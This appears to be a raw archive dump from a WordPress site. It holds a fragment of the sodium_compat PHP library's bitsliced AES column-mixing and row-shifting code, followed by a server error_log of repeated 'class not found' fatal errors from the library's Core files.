rotr16($x) { return (($x << 16) & ParagonIE_Sodium_Core_Util::U32_MAX) | ($x >> 16); } /** * @return self */ public function mixColumns() { $q0 = $this->values[0]; $q1 = $this->values[1]; $q2 = $this->values[2]; $q3 = $this->values[3]; $q4 = $this->values[4]; $q5 = $this->values[5]; $q6 = $this->values[6]; $q7 = $this->values[7]; $r0 = (($q0 >> 8) | ($q0 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r1 = (($q1 >> 8) | ($q1 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r2 = (($q2 >> 8) | ($q2 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r3 = (($q3 >> 8) | ($q3 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r4 = (($q4 >> 8) | ($q4 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r5 = (($q5 >> 8) | ($q5 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r6 = (($q6 >> 8) | ($q6 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r7 = (($q7 >> 8) | ($q7 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $this->values[0] = $q7 ^ $r7 ^ $r0 ^ self::rotr16($q0 ^ $r0); $this->values[1] = $q0 ^ $r0 ^ $q7 ^ $r7 ^ $r1 ^ self::rotr16($q1 ^ $r1); $this->values[2] = $q1 ^ $r1 ^ $r2 ^ self::rotr16($q2 ^ $r2); $this->values[3] = $q2 ^ $r2 ^ $q7 ^ $r7 ^ $r3 ^ self::rotr16($q3 ^ $r3); $this->values[4] = $q3 ^ $r3 ^ $q7 ^ $r7 ^ $r4 ^ self::rotr16($q4 ^ $r4); $this->values[5] = $q4 ^ $r4 ^ $r5 ^ self::rotr16($q5 ^ $r5); $this->values[6] = $q5 ^ $r5 ^ $r6 ^ self::rotr16($q6 ^ $r6); $this->values[7] = $q6 ^ $r6 ^ $r7 ^ self::rotr16($q7 ^ $r7); return $this; } /** * @return self */ public function inverseMixColumns() { $q0 = $this->values[0]; $q1 = $this->values[1]; $q2 = $this->values[2]; $q3 = $this->values[3]; $q4 = $this->values[4]; $q5 = $this->values[5]; $q6 = $this->values[6]; $q7 = $this->values[7]; $r0 = (($q0 >> 8) | ($q0 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r1 = (($q1 >> 8) | ($q1 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r2 = (($q2 >> 8) | ($q2 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r3 = (($q3 >> 8) | ($q3 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r4 = (($q4 >> 8) | ($q4 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r5 = (($q5 >> 8) | ($q5 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r6 = (($q6 >> 8) | ($q6 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r7 = (($q7 >> 8) | ($q7 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $this->values[0] = $q5 ^ $q6 ^ $q7 ^ $r0 ^ $r5 ^ $r7 ^ self::rotr16($q0 ^ $q5 ^ $q6 ^ $r0 ^ $r5); $this->values[1] = $q0 ^ $q5 ^ $r0 ^ $r1 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q1 ^ $q5 ^ $q7 ^ $r1 ^ $r5 ^ $r6); $this->values[2] = $q0 ^ $q1 ^ $q6 ^ $r1 ^ $r2 ^ $r6 ^ $r7 ^ self::rotr16($q0 ^ $q2 ^ $q6 ^ $r2 ^ $r6 ^ $r7); $this->values[3] = $q0 ^ $q1 ^ $q2 ^ $q5 ^ $q6 ^ $r0 ^ $r2 ^ $r3 ^ $r5 ^ self::rotr16($q0 ^ $q1 ^ $q3 ^ $q5 ^ $q6 ^ $q7 ^ $r0 ^ $r3 ^ $r5 ^ $r7); $this->values[4] = $q1 ^ $q2 ^ $q3 ^ $q5 ^ $r1 ^ $r3 ^ $r4 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q1 ^ $q2 ^ $q4 ^ $q5 ^ $q7 ^ $r1 ^ $r4 ^ $r5 ^ $r6); $this->values[5] = $q2 ^ $q3 ^ $q4 ^ $q6 ^ $r2 ^ $r4 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q2 ^ $q3 ^ $q5 ^ $q6 ^ $r2 ^ $r5 ^ $r6 ^ $r7); $this->values[6] = $q3 ^ $q4 ^ $q5 ^ $q7 ^ $r3 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q3 ^ $q4 ^ $q6 ^ $q7 ^ $r3 ^ $r6 ^ $r7); $this->values[7] = $q4 ^ $q5 ^ $q6 ^ $r4 ^ $r6 ^ $r7 ^ self::rotr16($q4 ^ $q5 ^ $q7 ^ $r4 ^ $r7); return $this; } /** * @return self */ public function inverseShiftRows() { for ($i = 0; $i < 8; ++$i) { $x = $this->values[$i]; $this->values[$i] = ParagonIE_Sodium_Core_Util::U32_MAX & ( ($x & 0x000000FF) | (($x & 0x00003F00) << 2) | (($x & 0x0000C000) >> 6) | (($x & 0x000F0000) << 4) | (($x & 0x00F00000) >> 4) | (($x & 0x03000000) << 6) | (($x & 0xFC000000) >> 2) ); } return $this; } } PK!00src/Core/AES/Expanded.phpnu[k??src/Core/error_lognu[[20-Aug-2026 05:57:08 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10 [20-Aug-2026 05:57:08 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS256.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10 [20-Aug-2026 05:57:09 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AES.php:14 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AES.php on line 14 [20-Aug-2026 05:57:10 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12 [20-Aug-2026 05:57:11 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10 [20-Aug-2026 05:57:12 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [20-Aug-2026 05:57:13 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once() #1 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [20-Aug-2026 05:57:16 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10 [20-Aug-2026 05:57:18 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10 [20-Aug-2026 05:57:21 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10 [20-Aug-2026 05:57:24 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Ristretto255.php:6 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6 [20-Aug-2026 05:57:25 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10 [20-Aug-2026 05:57:26 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/SipHash.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/SipHash.php on line 12 [20-Aug-2026 05:57:28 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/X25519.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/X25519.php on line 10 [20-Aug-2026 05:57:31 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10 [20-Aug-2026 05:57:33 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10 [04-Sep-2026 13:27:21 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10 [04-Sep-2026 13:27:21 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS256.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10 [04-Sep-2026 13:27:21 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AES.php:14 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AES.php on line 14 [04-Sep-2026 13:27:24 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12 [04-Sep-2026 13:27:26 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10 [04-Sep-2026 13:27:29 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [04-Sep-2026 13:27:35 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once() #1 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [04-Sep-2026 13:27:35 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10 [04-Sep-2026 13:27:35 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10 [04-Sep-2026 13:27:36 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10 [04-Sep-2026 13:27:39 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Ristretto255.php:6 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6 [04-Sep-2026 13:27:40 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10 [04-Sep-2026 13:27:43 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/SipHash.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/SipHash.php on line 12 [04-Sep-2026 13:27:44 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/X25519.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/X25519.php on line 10 [04-Sep-2026 13:27:44 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10 [04-Sep-2026 13:27:44 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10 [04-Sep-2026 13:39:43 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10 [04-Sep-2026 13:39:44 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS256.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10 [04-Sep-2026 13:39:44 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AES.php:14 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AES.php on line 14 [04-Sep-2026 13:39:48 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12 [04-Sep-2026 13:39:51 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10 [04-Sep-2026 13:39:55 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [04-Sep-2026 13:40:02 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once() #1 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [04-Sep-2026 13:40:02 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10 [04-Sep-2026 13:40:03 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10 [04-Sep-2026 13:40:03 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10 [04-Sep-2026 13:40:07 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Ristretto255.php:6 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6 [04-Sep-2026 13:40:07 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10 [04-Sep-2026 13:40:10 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/SipHash.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/SipHash.php on line 12 [04-Sep-2026 13:40:11 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/X25519.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/X25519.php on line 10 [04-Sep-2026 13:40:11 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10 [04-Sep-2026 13:40:12 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10 [10-Sep-2026 10:29:06 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10 [10-Sep-2026 10:29:07 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12 [10-Sep-2026 10:29:09 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10 [10-Sep-2026 10:32:36 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/X25519.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/X25519.php on line 10 [10-Sep-2026 10:32:55 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [10-Sep-2026 10:33:19 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once() #1 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [10-Sep-2026 10:53:25 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS256.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10 [10-Sep-2026 11:07:51 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Ristretto255.php:6 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6 [10-Sep-2026 11:09:06 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10 [10-Sep-2026 11:09:07 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10 [10-Sep-2026 11:09:25 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10 [10-Sep-2026 11:10:57 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10 [10-Sep-2026 11:11:03 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10 [10-Sep-2026 11:11:03 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10 [10-Sep-2026 11:11:50 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AES.php:14 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/AES.php on line 14 [10-Sep-2026 11:23:13 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/SipHash.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/SipHash.php on line 12 [10-Sep-2026 13:56:16 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12 [10-Sep-2026 13:56:17 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10 [10-Sep-2026 13:56:21 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/X25519.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/X25519.php on line 10 [10-Sep-2026 13:59:49 UTC] PHP Fatal error: Uncaught Error: 